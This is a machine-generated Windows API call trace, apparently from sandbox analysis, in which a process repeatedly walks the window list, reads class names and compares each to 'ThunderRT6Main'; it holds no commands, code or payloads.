lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0122.362] GetWindowThreadProcessId (in: hWnd=0x101c2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8a8 [0122.362] GetWindow (hWnd=0x101c2, uCmd=0x2) returned 0x101bc [0122.362] GetClassNameA (in: hWnd=0x101bc, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="bitkinex_window") returned 15 [0122.362] lstrcmpA (lpString1="bitkinex_window", lpString2="ThunderRT6Main") returned -1 [0122.362] GetWindowThreadProcessId (in: hWnd=0x101bc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x898 [0122.362] GetWindow (hWnd=0x101bc, uCmd=0x2) returned 0x101be [0122.362] GetClassNameA (in: hWnd=0x101be, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0122.362] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0122.362] GetWindowThreadProcessId (in: hWnd=0x101be, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x898 [0122.362] GetWindow (hWnd=0x101be, uCmd=0x2) returned 0x101b8 [0122.362] GetClassNameA (in: hWnd=0x101b8, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="barcaclass") returned 10 [0122.362] lstrcmpA (lpString1="barcaclass", lpString2="ThunderRT6Main") returned -1 [0122.362] GetWindowThreadProcessId (in: hWnd=0x101b8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x888 [0122.362] GetWindow (hWnd=0x101b8, uCmd=0x2) returned 0x101ba [0122.362] GetClassNameA (in: hWnd=0x101ba, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0122.362] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0122.362] GetWindowThreadProcessId (in: hWnd=0x101ba, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x888 [0122.362] GetWindow (hWnd=0x101ba, uCmd=0x2) returned 0x101b4 [0122.362] GetClassNameA (in: hWnd=0x101b4, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="alftpwnd") returned 8 [0122.362] lstrcmpA (lpString1="alftpwnd", lpString2="ThunderRT6Main") returned -1 [0122.362] GetWindowThreadProcessId (in: hWnd=0x101b4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x878 [0122.362] GetWindow (hWnd=0x101b4, uCmd=0x2) returned 0x101b6 [0122.363] GetClassNameA (in: hWnd=0x101b6, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0122.363] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0122.363] GetWindowThreadProcessId (in: hWnd=0x101b6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x878 [0122.363] GetWindow (hWnd=0x101b6, uCmd=0x2) returned 0x101b0 [0122.363] GetClassNameA (in: hWnd=0x101b0, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="absolutetelnet_window") returned 21 [0122.363] lstrcmpA (lpString1="absolutetelnet_window", lpString2="ThunderRT6Main") returned -1 [0122.363] GetWindowThreadProcessId (in: hWnd=0x101b0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x868 [0122.363] GetWindow (hWnd=0x101b0, uCmd=0x2) returned 0x101b2 [0122.363] GetClassNameA (in: hWnd=0x101b2, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0122.363] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0122.363] GetWindowThreadProcessId (in: hWnd=0x101b2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x868 [0122.363] GetWindow (hWnd=0x101b2, uCmd=0x2) returned 0x101ac [0122.363] GetClassNameA (in: hWnd=0x101ac, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="3dftp_win") returned 9 [0122.363] lstrcmpA (lpString1="3dftp_win", lpString2="ThunderRT6Main") returned -1 [0122.363] GetWindowThreadProcessId (in: hWnd=0x101ac, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x858 [0122.363] GetWindow (hWnd=0x101ac, uCmd=0x2) returned 0x101ae [0122.363] GetClassNameA (in: hWnd=0x101ae, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0122.363] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0122.363] GetWindowThreadProcessId (in: hWnd=0x101ae, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x858 [0122.363] GetWindow (hWnd=0x101ae, uCmd=0x2) returned 0x101a8 [0122.363] GetClassNameA (in: hWnd=0x101a8, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="purchaseclass") returned 13 [0122.363] lstrcmpA (lpString1="purchaseclass", lpString2="ThunderRT6Main") returned -1 [0122.363] GetWindowThreadProcessId (in: hWnd=0x101a8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x848 [0122.363] GetWindow (hWnd=0x101a8, uCmd=0x2) returned 0x101aa [0122.363] GetClassNameA (in: hWnd=0x101aa, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0122.363] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0122.364] GetWindowThreadProcessId (in: hWnd=0x101aa, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x848 [0122.364] GetWindow (hWnd=0x101aa, uCmd=0x2) returned 0x101a4 [0122.364] GetClassNameA (in: hWnd=0x101a4, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="bent_Individually_class") returned 23 [0122.364] lstrcmpA (lpString1="bent_Individually_class", lpString2="ThunderRT6Main") returned -1 [0122.364] GetWindowThreadProcessId (in: hWnd=0x101a4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x838 [0122.364] GetWindow (hWnd=0x101a4, uCmd=0x2) returned 0x101a6 [0122.364] GetClassNameA (in: hWnd=0x101a6, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0122.364] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0122.364] GetWindowThreadProcessId (in: hWnd=0x101a6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x838 [0122.364] GetWindow (hWnd=0x101a6, uCmd=0x2) returned 0x101a0 [0122.364] GetClassNameA (in: hWnd=0x101a0, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="cruises_Thickness_cls") returned 21 [0122.364] lstrcmpA (lpString1="cruises_Thickness_cls", lpString2="ThunderRT6Main") returned -1 [0122.364] GetWindowThreadProcessId (in: hWnd=0x101a0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x828 [0122.364] GetWindow (hWnd=0x101a0, uCmd=0x2) returned 0x101a2 [0122.364] GetClassNameA (in: hWnd=0x101a2, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0122.364] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0122.364] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x828 [0122.364] GetWindow (hWnd=0x101a2, uCmd=0x2) returned 0x1019c [0122.364] GetClassNameA (in: hWnd=0x1019c, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="Bloomansweringwnd") returned 17 [0122.364] lstrcmpA (lpString1="Bloomansweringwnd", lpString2="ThunderRT6Main") returned -1 [0122.364] GetWindowThreadProcessId (in: hWnd=0x1019c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x818 [0122.364] GetWindow (hWnd=0x1019c, uCmd=0x2) returned 0x1019e [0122.364] GetClassNameA (in: hWnd=0x1019e, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0122.364] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0122.364] GetWindowThreadProcessId (in: hWnd=0x1019e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x818 [0122.364] GetWindow (hWnd=0x1019e, uCmd=0x2) returned 0x10198 [0122.365] GetClassNameA (in: hWnd=0x10198, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="Ownerbmwin") returned 10 [0122.365] lstrcmpA (lpString1="Ownerbmwin", lpString2="ThunderRT6Main") returned -1 [0122.365] GetWindowThreadProcessId (in: hWnd=0x10198, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x804 [0122.365] GetWindow (hWnd=0x10198, uCmd=0x2) returned 0x1019a [0122.365] GetClassNameA (in: hWnd=0x1019a, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0122.365] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0122.365] GetWindowThreadProcessId (in: hWnd=0x1019a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x804 [0122.365] GetWindow (hWnd=0x1019a, uCmd=0x2) returned 0x10194 [0122.365] GetClassNameA (in: hWnd=0x10194, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="hawk_Tasks_app") returned 14 [0122.365] lstrcmpA (lpString1="hawk_Tasks_app", lpString2="ThunderRT6Main") returned -1 [0122.365] GetWindowThreadProcessId (in: hWnd=0x10194, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x40c [0122.365] GetWindow (hWnd=0x10194, uCmd=0x2) returned 0x10196 [0122.365] GetClassNameA (in: hWnd=0x10196, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0122.365] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0122.365] GetWindowThreadProcessId (in: hWnd=0x10196, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x40c [0122.365] GetWindow (hWnd=0x10196, uCmd=0x2) returned 0x10190 [0122.365] GetClassNameA (in: hWnd=0x10190, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="Bernard_award_window") returned 20 [0122.365] lstrcmpA (lpString1="Bernard_award_window", lpString2="ThunderRT6Main") returned -1 [0122.365] GetWindowThreadProcessId (in: hWnd=0x10190, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xc0 [0122.365] GetWindow (hWnd=0x10190, uCmd=0x2) returned 0x10192 [0122.365] GetClassNameA (in: hWnd=0x10192, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0122.365] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0122.365] GetWindowThreadProcessId (in: hWnd=0x10192, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xc0 [0122.365] GetWindow (hWnd=0x10192, uCmd=0x2) returned 0x1018a [0122.365] GetClassNameA (in: hWnd=0x1018a, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="bluescls") returned 8 [0122.365] lstrcmpA (lpString1="bluescls", lpString2="ThunderRT6Main") returned -1 [0122.365] GetWindowThreadProcessId (in: hWnd=0x1018a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x2c4 [0122.366] GetWindow (hWnd=0x1018a, uCmd=0x2) returned 0x2018e [0122.366] GetClassNameA (in: hWnd=0x2018e, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0122.366] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0122.366] GetWindowThreadProcessId (in: hWnd=0x2018e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x2c4 [0122.366] GetWindow (hWnd=0x2018e, uCmd=0x2) returned 0x10186 [0122.366] GetClassNameA (in: hWnd=0x10186, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="promotingweightedcls") returned 20 [0122.366] lstrcmpA (lpString1="promotingweightedcls", lpString2="ThunderRT6Main") returned -1 [0122.366] GetWindowThreadProcessId (in: hWnd=0x10186, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x564 [0122.366] GetWindow (hWnd=0x10186, uCmd=0x2) returned 0x10188 [0122.366] GetClassNameA (in: hWnd=0x10188, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0122.366] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0122.366] GetWindowThreadProcessId (in: hWnd=0x10188, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x564 [0122.366] GetWindow (hWnd=0x10188, uCmd=0x2) returned 0x10180 [0122.366] GetClassNameA (in: hWnd=0x10180, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="WordsRetainedremovalapp") returned 23 [0122.366] lstrcmpA (lpString1="WordsRetainedremovalapp", lpString2="ThunderRT6Main") returned 1 [0122.366] GetWindowThreadProcessId (in: hWnd=0x10180, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x520 [0122.366] GetWindow (hWnd=0x10180, uCmd=0x2) returned 0x10184 [0122.367] GetClassNameA (in: hWnd=0x10184, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0122.367] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0122.367] GetWindowThreadProcessId (in: hWnd=0x10184, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x520 [0122.367] GetWindow (hWnd=0x10184, uCmd=0x2) returned 0x1017c [0122.367] GetClassNameA (in: hWnd=0x1017c, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="famemoderatorwindow") returned 19 [0122.367] lstrcmpA (lpString1="famemoderatorwindow", lpString2="ThunderRT6Main") returned -1 [0122.367] GetWindowThreadProcessId (in: hWnd=0x1017c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4f8 [0122.367] GetWindow (hWnd=0x1017c, uCmd=0x2) returned 0x1017e [0122.367] GetClassNameA (in: hWnd=0x1017e, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0122.368] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0122.368] GetWindowThreadProcessId (in: hWnd=0x1017e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4f8 [0122.368] GetWindow (hWnd=0x1017e, uCmd=0x2) returned 0x10178 [0122.368] GetClassNameA (in: hWnd=0x10178, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="Gpluckywindow") returned 13 [0122.368] lstrcmpA (lpString1="Gpluckywindow", lpString2="ThunderRT6Main") returned -1 [0122.368] GetWindowThreadProcessId (in: hWnd=0x10178, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x528 [0122.368] GetWindow (hWnd=0x10178, uCmd=0x2) returned 0x1017a [0122.368] GetClassNameA (in: hWnd=0x1017a, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0122.368] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0122.368] GetWindowThreadProcessId (in: hWnd=0x1017a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x528 [0122.368] GetWindow (hWnd=0x1017a, uCmd=0x2) returned 0x10174 [0122.368] GetClassNameA (in: hWnd=0x10174, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="mediterraneanTallwin") returned 20 [0122.368] lstrcmpA (lpString1="mediterraneanTallwin", lpString2="ThunderRT6Main") returned -1 [0122.368] GetWindowThreadProcessId (in: hWnd=0x10174, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xc4 [0122.368] GetWindow (hWnd=0x10174, uCmd=0x2) returned 0x10176 [0122.368] GetClassNameA (in: hWnd=0x10176, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0122.368] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0122.368] GetWindowThreadProcessId (in: hWnd=0x10176, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xc4 [0122.368] GetWindow (hWnd=0x10176, uCmd=0x2) returned 0x20170 [0122.368] GetClassNameA (in: hWnd=0x20170, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="Essays_Attorneys_wnd") returned 20 [0122.368] lstrcmpA (lpString1="Essays_Attorneys_wnd", lpString2="ThunderRT6Main") returned -1 [0122.368] GetWindowThreadProcessId (in: hWnd=0x20170, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x414 [0122.368] GetWindow (hWnd=0x20170, uCmd=0x2) returned 0x10172 [0122.368] GetClassNameA (in: hWnd=0x10172, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0122.368] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0122.368] GetWindowThreadProcessId (in: hWnd=0x10172, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x414 [0122.369] GetWindow (hWnd=0x10172, uCmd=0x2) returned 0x1016c [0122.369] GetClassNameA (in: hWnd=0x1016c, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="Adequate_Downloading_window") returned 27 [0122.369] lstrcmpA (lpString1="Adequate_Downloading_window", lpString2="ThunderRT6Main") returned -1 [0122.369] GetWindowThreadProcessId (in: hWnd=0x1016c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x688 [0122.369] GetWindow (hWnd=0x1016c, uCmd=0x2) returned 0x1016e [0122.369] GetClassNameA (in: hWnd=0x1016e, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0122.369] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0122.369] GetWindowThreadProcessId (in: hWnd=0x1016e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x688 [0122.369] GetWindow (hWnd=0x1016e, uCmd=0x2) returned 0x10168 [0122.369] GetClassNameA (in: hWnd=0x10168, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="Cruises_Construct_win") returned 21 [0122.369] lstrcmpA (lpString1="Cruises_Construct_win", lpString2="ThunderRT6Main") returned -1 [0122.369] GetWindowThreadProcessId (in: hWnd=0x10168, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6a8 [0122.369] GetWindow (hWnd=0x10168, uCmd=0x2) returned 0x1016a [0122.369] GetClassNameA (in: hWnd=0x1016a, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0122.369] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0122.369] GetWindowThreadProcessId (in: hWnd=0x1016a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6a8 [0122.369] GetWindow (hWnd=0x1016a, uCmd=0x2) returned 0x10164 [0122.369] GetClassNameA (in: hWnd=0x10164, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="Causing_Fighting_platinum_") returned 26 [0122.369] lstrcmpA (lpString1="Causing_Fighting_platinum_", lpString2="ThunderRT6Main") returned -1 [0122.369] GetWindowThreadProcessId (in: hWnd=0x10164, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x188 [0122.369] GetWindow (hWnd=0x10164, uCmd=0x2) returned 0x10166 [0122.369] GetClassNameA (in: hWnd=0x10166, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0122.369] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0122.369] GetWindowThreadProcessId (in: hWnd=0x10166, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x188 [0122.369] GetWindow (hWnd=0x10166, uCmd=0x2) returned 0x10160 [0122.369] GetClassNameA (in: hWnd=0x10160, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="ConflictBindingunit") returned 19 [0122.369] lstrcmpA (lpString1="ConflictBindingunit", lpString2="ThunderRT6Main") returned -1 [0122.370] GetWindowThreadProcessId (in: hWnd=0x10160, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7e4 [0122.370] GetWindow (hWnd=0x10160, uCmd=0x2) returned 0x10162 [0122.370] GetClassNameA (in: hWnd=0x10162, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0122.370] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0122.370] GetWindowThreadProcessId (in: hWnd=0x10162, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7e4 [0122.370] GetWindow (hWnd=0x10162, uCmd=0x2) returned 0x300fa [0122.370] GetClassNameA (in: hWnd=0x300fa, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="Packrxapp") returned 9 [0122.370] lstrcmpA (lpString1="Packrxapp", lpString2="ThunderRT6Main") returned -1 [0122.370] GetWindowThreadProcessId (in: hWnd=0x300fa, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x574 [0122.370] GetWindow (hWnd=0x300fa, uCmd=0x2) returned 0x1015e [0122.370] GetClassNameA (in: hWnd=0x1015e, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0122.370] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0122.370] GetWindowThreadProcessId (in: hWnd=0x1015e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x574 [0122.370] GetWindow (hWnd=0x1015e, uCmd=0x2) returned 0x50102 [0122.370] GetClassNameA (in: hWnd=0x50102, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="Cells_Surfaces_window") returned 21 [0122.370] lstrcmpA (lpString1="Cells_Surfaces_window", lpString2="ThunderRT6Main") returned -1 [0122.370] GetWindowThreadProcessId (in: hWnd=0x50102, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x770 [0122.370] GetWindow (hWnd=0x50102, uCmd=0x2) returned 0x30108 [0122.370] GetClassNameA (in: hWnd=0x30108, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0122.370] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0122.370] GetWindowThreadProcessId (in: hWnd=0x30108, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x770 [0122.370] GetWindow (hWnd=0x30108, uCmd=0x2) returned 0x3015a [0122.370] GetClassNameA (in: hWnd=0x3015a, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="FaxMonWinClass{3FD224BA-8556-47fb-B260-3E451BAE2793}") returned 52 [0122.370] lstrcmpA (lpString1="FaxMonWinClass{3FD224BA-8556-47fb-B260-3E451BAE2793}", lpString2="ThunderRT6Main") returned -1 [0122.370] GetWindowThreadProcessId (in: hWnd=0x3015a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x468 [0122.370] GetWindow (hWnd=0x3015a, uCmd=0x2) returned 0x10146 [0122.370] GetClassNameA (in: hWnd=0x10146, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="BluetoothNotificationAreaIconWindowClass") returned 40 [0122.371] lstrcmpA (lpString1="BluetoothNotificationAreaIconWindowClass", lpString2="ThunderRT6Main") returned -1 [0122.371] GetWindowThreadProcessId (in: hWnd=0x10146, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x50c [0122.371] GetWindow (hWnd=0x10146, uCmd=0x2) returned 0x10144 [0122.371] GetClassNameA (in: hWnd=0x10144, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="MS_WebcheckMonitor") returned 18 [0122.371] lstrcmpA (lpString1="MS_WebcheckMonitor", lpString2="ThunderRT6Main") returned -1 [0122.371] GetWindowThreadProcessId (in: hWnd=0x10144, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x46c [0122.371] GetWindow (hWnd=0x10144, uCmd=0x2) returned 0x2013a [0122.371] GetClassNameA (in: hWnd=0x2013a, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="PNIHiddenWnd") returned 12 [0122.371] lstrcmpA (lpString1="PNIHiddenWnd", lpString2="ThunderRT6Main") returned -1 [0122.371] GetWindowThreadProcessId (in: hWnd=0x2013a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x50c [0122.371] GetWindow (hWnd=0x2013a, uCmd=0x2) returned 0x1012e [0122.371] GetClassNameA (in: hWnd=0x1012e, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="Media Center SSO") returned 16 [0122.371] lstrcmpA (lpString1="Media Center SSO", lpString2="ThunderRT6Main") returned -1 [0122.371] GetWindowThreadProcessId (in: hWnd=0x1012e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x46c [0122.371] GetWindow (hWnd=0x1012e, uCmd=0x2) returned 0x10130 [0122.371] GetClassNameA (in: hWnd=0x10130, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0122.371] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0122.371] GetWindowThreadProcessId (in: hWnd=0x10130, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x46c [0122.371] GetWindow (hWnd=0x10130, uCmd=0x2) returned 0x10124 [0122.371] GetClassNameA (in: hWnd=0x10124, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="ATL:000007FEFBEA41F0") returned 20 [0122.371] lstrcmpA (lpString1="ATL:000007FEFBEA41F0", lpString2="ThunderRT6Main") returned -1 [0122.371] GetWindowThreadProcessId (in: hWnd=0x10124, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x50c [0122.371] GetWindow (hWnd=0x10124, uCmd=0x2) returned 0x10126 [0122.371] GetClassNameA (in: hWnd=0x10126, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0122.371] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0122.371] GetWindowThreadProcessId (in: hWnd=0x10126, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x50c [0122.372] GetWindow (hWnd=0x10126, uCmd=0x2) returned 0x10118 [0122.372] GetClassNameA (in: hWnd=0x10118, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="SystemTray_Main") returned 15 [0122.372] lstrcmpA (lpString1="SystemTray_Main", lpString2="ThunderRT6Main") returned -1 [0122.372] GetWindowThreadProcessId (in: hWnd=0x10118, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x468 [0122.372] GetWindow (hWnd=0x10118, uCmd=0x2) returned 0x1011a [0122.372] GetClassNameA (in: hWnd=0x1011a, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0122.372] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0122.372] GetWindowThreadProcessId (in: hWnd=0x1011a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x468 [0122.372] GetWindow (hWnd=0x1011a, uCmd=0x2) returned 0x10116 [0122.372] GetClassNameA (in: hWnd=0x10116, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0122.372] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0122.372] GetWindowThreadProcessId (in: hWnd=0x10116, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x468 [0122.372] GetWindow (hWnd=0x10116, uCmd=0x2) returned 0x20018 [0122.372] GetClassNameA (in: hWnd=0x20018, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="OneNoteM") returned 8 [0122.372] lstrcmpA (lpString1="OneNoteM", lpString2="ThunderRT6Main") returned -1 [0122.372] GetWindowThreadProcessId (in: hWnd=0x20018, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x544 [0122.372] GetWindow (hWnd=0x20018, uCmd=0x2) returned 0x2001a [0122.372] GetClassNameA (in: hWnd=0x2001a, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0122.372] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0122.372] GetWindowThreadProcessId (in: hWnd=0x2001a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x544 [0122.372] GetWindow (hWnd=0x2001a, uCmd=0x2) returned 0x2001c [0122.372] GetClassNameA (in: hWnd=0x2001c, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="GDI+ Hook Window Class") returned 22 [0122.372] lstrcmpA (lpString1="GDI+ Hook Window Class", lpString2="ThunderRT6Main") returned -1 [0122.372] GetWindowThreadProcessId (in: hWnd=0x2001c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x76c [0122.372] GetWindow (hWnd=0x2001c, uCmd=0x2) returned 0x20016 [0122.373] GetClassNameA (in: hWnd=0x20016, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0122.373] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0122.373] GetWindowThreadProcessId (in: hWnd=0x20016, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x76c [0122.373] GetWindow (hWnd=0x20016, uCmd=0x2) returned 0x200a2 [0122.373] GetClassNameA (in: hWnd=0x200a2, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="TASKENGINEWINDOWCLASS") returned 21 [0122.373] lstrcmpA (lpString1="TASKENGINEWINDOWCLASS", lpString2="ThunderRT6Main") returned -1 [0122.373] GetWindowThreadProcessId (in: hWnd=0x200a2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x584 [0122.373] GetWindow (hWnd=0x200a2, uCmd=0x2) returned 0x1010a [0122.373] 